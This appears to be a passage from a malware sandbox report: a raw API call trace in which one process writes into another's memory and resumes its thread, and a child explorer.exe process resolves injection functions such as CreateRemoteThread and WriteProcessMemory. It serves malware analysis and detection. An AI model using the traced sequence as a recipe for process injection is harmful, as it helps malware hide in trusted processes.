[3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x18, [45]=0x2, [46]=0x2c, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0039.117] HeapFree (in: hHeap=0x2540000, dwFlags=0x0, lpMem=0x2938a58 | out: hHeap=0x2540000) returned 1 [0039.117] NtUnmapViewOfSection (ProcessHandle=0xffffffff, BaseAddress=0x2d20000) returned 0x0 [0039.129] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0039.129] CloseHandle (hObject=0x114) returned 1 [0039.129] NtProtectVirtualMemory (in: ProcessHandle=0x10c, BaseAddress=0x18e3b0*=0xffb8b790, NumberOfBytesToProtect=0x18e3b8, NewAccessProtection=0x40, OldAccessProtection=0x18e3a8 | out: BaseAddress=0x18e3b0*=0xffb8b000, NumberOfBytesToProtect=0x18e3b8, OldAccessProtection=0x18e3a8*=0x20) returned 0x0 [0039.325] NtWriteVirtualMemory (in: ProcessHandle=0x10c, BaseAddress=0xffb8b790, Buffer=0x18e418*, NumberOfBytesToWrite=0x4, NumberOfBytesWritten=0x18e3a0 | out: Buffer=0x18e418*, NumberOfBytesWritten=0x18e3a0*=0x4) returned 0x0 [0039.338] NtProtectVirtualMemory (in: ProcessHandle=0x10c, BaseAddress=0x18e3b0*=0xffb8b000, NumberOfBytesToProtect=0x18e3b8, NewAccessProtection=0x20, OldAccessProtection=0x18e3a8 | out: BaseAddress=0x18e3b0*=0xffb8b000, NumberOfBytesToProtect=0x18e3b8, OldAccessProtection=0x18e3a8*=0x40) returned 0x0 [0039.339] ResumeThread (hThread=0x104) returned 0x1 [0039.374] CloseHandle (hObject=0x104) returned 1 [0039.374] CloseHandle (hObject=0x10c) returned 1 [0039.374] HeapFree (in: hHeap=0x2540000, dwFlags=0x0, lpMem=0x29387f8 | out: hHeap=0x2540000) returned 1 [0039.374] HeapFree (in: hHeap=0x2540000, dwFlags=0x0, lpMem=0x29387d0 | out: hHeap=0x2540000) returned 1 [0039.374] HeapDestroy (hHeap=0x2540000) returned 1 [0039.385] ExitProcess (uExitCode=0x0) Thread: id = 2 os_tid = 0xa60 Process: id = "2" image_name = "explorer.exe" filename = "c:\\windows\\explorer.exe" page_root = "0x38dbd000" os_pid = "0xae4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xa08" cmd_line = "C:\\Windows\\explorer.exe" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "64" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ca" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 3 os_tid = 0xae8 [0039.339] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="ntdll.dll", BaseAddress=0x27fc58 | out: BaseAddress=0x27fc58*=0x77160000) returned 0x0 [0039.339] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="ZwOpenProcess", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x771b1570) returned 0x0 [0039.340] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="ZwQueryInformationToken", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x771b1520) returned 0x0 [0039.340] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="ZwClose", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x771b1400) returned 0x0 [0039.340] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="NtUnmapViewOfSection", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x771b15b0) returned 0x0 [0039.340] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="NtMapViewOfSection", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x771b1590) returned 0x0 [0039.340] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="NtCreateSection", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x771b17b0) returned 0x0 [0039.340] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="RtlRandomEx", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7719dce0) returned 0x0 [0039.340] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="NtQuerySystemInformation", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x771b1670) returned 0x0 [0039.340] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="RtlNtStatusToDosError", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x771b5110) returned 0x0 [0039.340] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="ZwQueryInformationProcess", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x771b14a0) returned 0x0 [0039.340] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="memcmp", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x771aea60) returned 0x0 [0039.340] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="_strupr", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x771e8fdc) returned 0x0 [0039.340] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="_wcsupr", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x771e9560) returned 0x0 [0039.340] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="memmove", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x771ae6d0) returned 0x0 [0039.341] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="bsearch", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x771b7df4) returned 0x0 [0039.341] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="_vsnwprintf", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77190880) returned 0x0 [0039.341] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="_strlwr", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x771e8fb0) returned 0x0 [0039.341] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="atoi", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x771665e4) returned 0x0 [0039.341] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="strstr", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x771eac00) returned 0x0 [0039.341] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="wcscpy", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x771eb380) returned 0x0 [0039.341] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="RtlFreeUnicodeString", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x771b5610) returned 0x0 [0039.341] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="ZwQueryKey", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x771b1470) returned 0x0 [0039.341] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="RtlUpcaseUnicodeString", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7718ce40) returned 0x0 [0039.341] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="sprintf", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x771ea738) returned 0x0 [0039.341] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="_snprintf", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x771e8ae0) returned 0x0 [0039.341] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="memset", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x771b2ed0) returned 0x0 [0039.341] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="RtlAdjustPrivilege", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7716a7f0) returned 0x0 [0039.342] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="mbstowcs", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x771ea670) returned 0x0 [0039.342] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="strcpy", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x771af9f0) returned 0x0 [0039.342] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="memcpy", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x771ae6d0) returned 0x0 [0039.342] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="RtlImageDirectoryEntryToData", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77190950) returned 0x0 [0039.342] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="RtlImageNtHeader", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7718ecb0) returned 0x0 [0039.342] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="ZwOpenProcessToken", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x771b22d0) returned 0x0 [0039.342] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="__C_specific_handler", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7717850c) returned 0x0 [0039.342] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="__chkstk", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x771b0dd0) returned 0x0 [0039.342] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="KERNEL32.dll", BaseAddress=0x27fc58 | out: BaseAddress=0x27fc58*=0x77040000) returned 0x0 [0039.342] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="VirtualQueryEx", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7708bb60) returned 0x0 [0039.342] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateRemoteThread", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7708c4f0) returned 0x0 [0039.342] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetModuleFileNameW", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77057700) returned 0x0 [0039.343] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="FileTimeToSystemTime", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7704af20) returned 0x0 [0039.343] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetLocalTime", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7704b990) returned 0x0 [0039.343] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="OpenProcess", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7705cad0) returned 0x0 [0039.343] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetVersion", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x770501d0) returned 0x0 [0039.343] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="ExitThread", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x771a6930) returned 0x0 [0039.343] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetTempFileNameA", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x770a1ee0) returned 0x0 [0039.344] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77042ef0) returned 0x0 [0039.344] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="VirtualFree", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77051260) returned 0x0 [0039.344] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetSystemInfo", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77056f70) returned 0x0 [0039.344] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="DeleteCriticalSection", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77185350) returned 0x0 [0039.344] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CloseHandle", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77062f80) returned 0x0 [0039.344] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateFileMappingA", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7704ead0) returned 0x0 [0039.344] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="WriteProcessMemory", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7708bad0) returned 0x0 [0039.344] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateFileA", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x770631f0) returned 0x0 [0039.344] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="lstrcmpA", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x770a1230) returned 0x0 [0039.344] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="MapViewOfFile", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7704e390) returned 0x0 [0039.344] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="UnmapViewOfFile", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77063580) returned 0x0 [0039.344] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetModuleFileNameA", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x770564a0) returned 0x0 [0039.344] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="lstrcmpiA", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x770440a0) returned 0x0 [0039.345] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetModuleHandleA", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x770565e0) returned 0x0 [0039.345] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="Sleep", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77062b70) returned 0x0 [0039.345] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77057070) returned 0x0 [0039.345] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetCurrentProcess", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77055cf0) returned 0x0 [0039.345] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GlobalUnlock", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7708e570) returned 0x0 [0039.345] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="HeapAlloc", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x771b33a0) returned 0x0 [0039.345] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="lstrcpyA", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7708e160) returned 0x0 [0039.345] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GlobalLock", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7708e760) returned 0x0 [0039.345] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="lstrlenA", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7705caf0) returned 0x0 [0039.345] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="WriteFile", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x770635a0) returned 0x0 [0039.345] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateDirectoryA", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7708c5b0) returned 0x0 [0039.345] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetLastError", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77062dd0) returned 0x0 [0039.345] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="HeapFree", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77063070) returned 0x0 [0039.345] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="RemoveDirectoryA", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7708bdb0) returned 0x0 [0039.346] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="DeleteFileA", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x770514e0) returned 0x0 [0039.346] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="lstrcatA", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7708e110) returned 0x0 [0039.346] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetTickCount", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77062b00) returned 0x0 [0039.346] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="HeapDestroy", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77051490) returned 0x0 [0039.346] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="HeapCreate", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x770570e0) returned 0x0 [0039.346] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="SetEvent", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77053f00) returned 0x0 [0039.346] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="HeapReAlloc", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77193f20) returned 0x0 [0039.346] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="FindFirstFileW", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7705bd80) returned 0x0 [0039.346] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="LocalFree", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x770547a0) returned 0x0 [0039.346] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="WaitForMultipleObjects", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77051170) returned 0x0 [0039.346] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="SuspendThread", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77042f60) returned 0x0 [0039.346] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="TerminateProcess", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7708bca0) returned 0x0 [0039.346] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="ResumeThread", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x770513a0) returned 0x0 [0039.346] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="lstrcpyW", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7708e0d0) returned 0x0 [0039.347] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="FindClose", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x7705bd60) returned 0x0 [0039.347] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateThread", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: ProcedureAddress=0x27fc40*=0x77056580) returned 0x0 [0039.347] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="ResetEvent", Ordinal=0x0, ProcedureAddress=0x27fc40 | out: 